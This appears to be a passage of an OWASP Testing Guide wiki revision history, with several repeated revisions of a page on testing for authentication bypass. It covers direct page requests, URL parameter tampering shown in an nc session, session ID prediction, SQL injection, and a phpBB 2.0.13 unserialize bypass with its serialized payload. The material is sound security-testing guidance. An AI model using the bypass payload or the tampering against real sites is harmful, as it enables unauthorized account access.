Many web applications manage authentication using session identification values(SESSION ID). Therefore if Session ID generation is predictable a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''

SQL Injection is a widely known range of techniques. We are not going to describe this technique into detail, because it's possible to find many dedicated paragraphs in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
In the case an attacker has been able to retrieve the application source code by exploiting a previosly discovered vulnerability (e.g. directory traversal), or from a web repository (Open Source Applications), could be possible to perform refined attacks against the implementation of the authentication process.

In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 unserialize() function parse user supplied cookie and set values inside $row array. At line 10 user md5 password hash stored inside the backend database is compared to the one supplied.

<pre>1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) == $row['user_password'] && $row['user_active'] )
11.
12. {
13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
14. }</pre>

In PHP a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so supplying the following string (important part is "b:1") to the userialize() function is possible to bypass the authentication control:

<pre>a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}</pre>
 

== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:51:28Z

Alombardini: /* Description of the Issue */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level.

Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==

Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase.

Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more.

'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language.

In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.
 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Session Fixation
* Sql Injection

 
'''Direct page request'''

Several web applications implement access control only inside the login page, otherwise if a user requests directly a different page in the designed protected area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a succesful login upon fixed value parameters.
Therefore a user could modify these parameters to gain access to the protected areas without providing valid credentials.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session ID Prediction'''

Many web applications manage authentication using session identification values(SESSION ID). Therefore if Session ID generation is predictable a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''

SQL Injection is a widely known range of techniques. We are not going to describe this technique into detail, because it's possible to find many dedicated paragraphs in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
In the case an attacker has been able to retrieve the application source code by exploiting a previosly discovered vulnerability (e.g. directory traversal), or from a web repository (Open Source Applications), could be possible to perform refined attacks against the implementation of the authentication process.

In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 unserialize() function parse user supplied cookie and set values inside $row array. At line 10 user md5 password hash stored inside the backend database is compared to the one supplied.

<pre>1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) == $row['user_password'] && $row['user_active'] )
11.
12. {
13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
14. }</pre>

In PHP a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so supplying the following string (important part is "b:1") to the userialize() function is possible to bypass the authentication control:

<pre>a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}</pre>
 

== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:50:50Z

Alombardini: /* Brief Summary */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level.

Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.

In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==
 
Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase. 
Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more. 
'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language. 
In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.

 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Session Fixation
* Sql Injection

 
'''Direct page request'''

Several web applications implement access control only inside the login page, otherwise if a user requests directly a different page in the designed protected area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a succesful login upon fixed value parameters.
Therefore a user could modify these parameters to gain access to the protected areas without providing valid credentials.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session ID Prediction'''

Many web applications manage authentication using session identification values(SESSION ID). Therefore if Session ID generation is predictable a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''

SQL Injection is a widely known range of techniques. We are not going to describe this technique into detail, because it's possible to find many dedicated paragraphs in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
In the case an attacker has been able to retrieve the application source code by exploiting a previosly discovered vulnerability (e.g. directory traversal), or from a web repository (Open Source Applications), could be possible to perform refined attacks against the implementation of the authentication process.

In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 unserialize() function parse user supplied cookie and set values inside $row array. At line 10 user md5 password hash stored inside the backend database is compared to the one supplied.

<pre>1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) == $row['user_password'] && $row['user_active'] )
11.
12. {
13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
14. }</pre>

In PHP a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so supplying the following string (important part is "b:1") to the userialize() function is possible to bypass the authentication control:

<pre>a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}</pre>
 

== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:50:09Z

Alombardini: /* Black Box testing and example */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level. 
Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed. 
In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==
 
Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase. 
Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more. 
'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language. 
In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.

 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Session Fixation
* Sql Injection

 
'''Direct page request'''

Several web applications implement access control only inside the login page, otherwise if a user requests directly a different page in the designed protected area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a succesful login upon fixed value parameters.
Therefore a user could modify these parameters to gain access to the protected areas without providing valid credentials.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session ID Prediction'''

Many web applications manage authentication using session identification values(SESSION ID). Therefore if Session ID generation is predictable a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''

SQL Injection is a widely known range of techniques. We are not going to describe this technique into detail, because it's possible to find many dedicated paragraphs in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
In the case an attacker has been able to retrieve the application source code by exploiting a previosly discovered vulnerability (e.g. directory traversal), or from a web repository (Open Source Applications), could be possible to perform refined attacks against the implementation of the authentication process.

In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 unserialize() function parse user supplied cookie and set values inside $row array. At line 10 user md5 password hash stored inside the backend database is compared to the one supplied.

<pre>1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) == $row['user_password'] && $row['user_active'] )
11.
12. {
13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
14. }</pre>

In PHP a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so supplying the following string (important part is "b:1") to the userialize() function is possible to bypass the authentication control:

<pre>a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}</pre>
 

== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:47:53Z

Alombardini: /* Black Box testing and example */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level. 
Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed. 
In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==
 
Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase. 
Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more. 
'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language. 
In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.

 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Session Fixation
* Sql Injection

 
'''Direct page request'''

Several web applications implement access control only inside the login page, otherwise if a user requests directly a different page in the designed protected area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a succesful login upon fixed value parameters.
Therefore a user could modify these parameters to gain access to the protected areas without providing valid credentials.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session ID Prediction'''
Many web applications manage authentication using session identification values(SESSION ID). Therefore if Session ID generation is predictable a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''
SQL Injection is a widely known range of techniques. We are not going to describe this technique into detail, because it's possible to find many dedicated paragraphs in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
In the case an attacker has been able to retrieve the application source code by exploiting a previosly discovered vulnerability (e.g. directory traversal), or from a web repository (Open Source Applications), could be possible to perform refined attacks against the implementation of the authentication process.

In the following example (PHPBB 2.0.13 - Authentication Bypass Vulnerability), at line 5 unserialize() function parse user supplied cookie and set values inside $row array. At line 10 user md5 password hash stored inside the backend database is compared to the one supplied.

<pre>1. if ( isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) ||
2. {
3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . '_data'] ) ?
4.
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
6.
7. $sessionmethod = SESSION_METHOD_COOKIE;
8. }
9.
10. if( md5($password) == $row['user_password'] && $row['user_active'] )
11.
12. {
13. $autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
14. }</pre>

In PHP a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so supplying the following string (important part is "b:1") to the userialize() function is possible to bypass the authentication control:

<pre>a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}</pre>
 

== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:24:40Z

Alombardini: /* Black Box testing and example */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level. 
Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed. 
In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==
 
Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase. 
Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more. 
'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language. 
In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.

 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Session Fixation
* Sql Injection

 
'''Direct page request'''

Several web applications implement access control only inside the login page, otherwise if a user requests directly a different page in the designed protected area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a succesful login upon fixed value parameters.
Therefore a user could modify these parameters to gain access to the protected areas without providing valid credentials.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session Issues'''
* Session ID Prediction
Many web applications manage authentication using session identification values(SESSION ID). Therefore if Session ID generation is predictable a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''
SQL Injection is a widely known range of techniques. We are not going to describe this technique into detail, because it's possible to find many dedicated paragraphs in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
'''Testing for Topic X vulnerabilities:''' 
... 
'''Result Expected:''' 
... 
== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:24:24Z

Alombardini: /* Black Box testing and example */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level. 
Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed. 
In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==
 
Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase. 
Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more. 
'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language. 
In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.

 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Session Fixation
* Sql Injection

 
== Black Box testing and example ==

'''Direct page request'''

Several web applications implement access control only inside the login page, otherwise if a user requests directly a different page in the designed protected area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a succesful login upon fixed value parameters.
Therefore a user could modify these parameters to gain access to the protected areas without providing valid credentials.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session Issues'''
* Session ID Prediction
Many web applications manage authentication using session identification values(SESSION ID). Therefore if Session ID generation is predictable a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''
SQL Injection is a widely known range of techniques. We are not going to describe this technique into detail, because it's possible to find many dedicated paragraphs in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
'''Testing for Topic X vulnerabilities:''' 
... 
'''Result Expected:''' 
... 
== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:22:06Z

Alombardini: /* Bypassing authentication schema methods */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level. 
Negligence, ignorance or simple understatement of the security threats often result in authentication schemes that can be easily bypassed by simply skipping the login page and directly calling an internal page that is supposed to be accessed only after authentication has been performed. 
In addition to this it is often possible to bypass compulsory authentication tampering with requests and tricking the application into thinking that we're already authenticated either by modifying the given URL parameter or by manipulating form or by counterfeiting sessions.
 

== Description of the Issue ==
 
Problems related to Authentication Schema could be found at different stages of software development life cycle (SDLC), like design, development and deployment phase. 
Examples of '''design errors''' include a wrong definition of application parts to be protected, the choice of not applying strong encryption protocols for securing authentication data exchange, and many more. 
'''Problems in development''' phase are for example the incorrect implementation of input validation functionalities, or not following the security best practices for the specific language. 
In addition there are '''issues during application setup''' (Installation and configuration activities) due to a lack in required technical skills, or due to poor documentation available.

 

== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Session Fixation
* Sql Injection

 
== Black Box testing and example ==
There are several methods to bypass the authentication schema in use by a web

application:
* Direct page request
* Parameter Modification
* Session ID Prediction
* Sql Injection

 
=== Bypassing authentication schema methods ===

'''Direct page request'''

Several web applications implement access control only inside the login page, otherwise if a user requests directly a different page in the designed protected area, the authentication schema could be bypassed.

[[Image:basm-directreq.jpg]]

'''Parameter Modification'''

Another problem related to authentication design is to let the application verify a succesful login upon fixed value parameters.
Therefore a user could modify these parameters to gain access to the protected areas without providing valid credentials.

<pre>http://www.site.com/page.asp?authenticated=no </pre>

<pre>raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK
Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Auhtenticated</H1>
</BODY></HTML></pre>

[[Image:basm-parammod.jpg]]

'''Session Issues'''
* Session ID Prediction
Many web applications manage authentication using session identification values(SESSION ID). Therefore if Session ID generation is predictable a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.

In the following figure values inside cookies increase linearly, so could be easy for an attacker to guess a valid session ID.

[[Image:basm-sessid.jpg]]

In the following figure values inside cookies change only partially, so it's possible to restrict a bruteforce attack to the defined fields shown below.

[[Image:basm-sessid2.jpg]]

'''Sql Injection (HTML Form Authentication)'''
SQL Injection is a widely known range of techniques. We are not going to describe this technique into detail, because it's possible to find many dedicated paragraphs in Owasp Testing Guide for either common and advanced readers.

[[Image:basm-sqlinj.jpg]]

The following figure shows that with simple sql injection it's possible to bypass the authentication form.
The Example is obfuscated because it's part of OWASP WebGoat suite, and to let the reader experiment by himself without knowing the solution.

[[Image:basm-sqlinj2.gif]]

 

== Gray Box testing and example ==
'''Testing for Topic X vulnerabilities:''' 
... 
'''Result Expected:''' 
... 
== References ==
'''Whitepapers''' 
... 
'''Tools''' 
* WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* WebGoat: http://www.owasp.org/index.php/OWASP_WebGoat_Project

{{Category:OWASP Testing Project AoC}}
[[OWASP Testing Guide v2 Table of Contents]]
{{Template:Stub}}

Testing for Bypassing Authentication Schema (OTG-AUTHN-004)

2006-11-11T15:20:55Z

Alombardini: /* Black Box testing and example */

{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
While most most application require authentication for gaining access to private information or tasks, not every authentication method is able to provide adequate security level. 
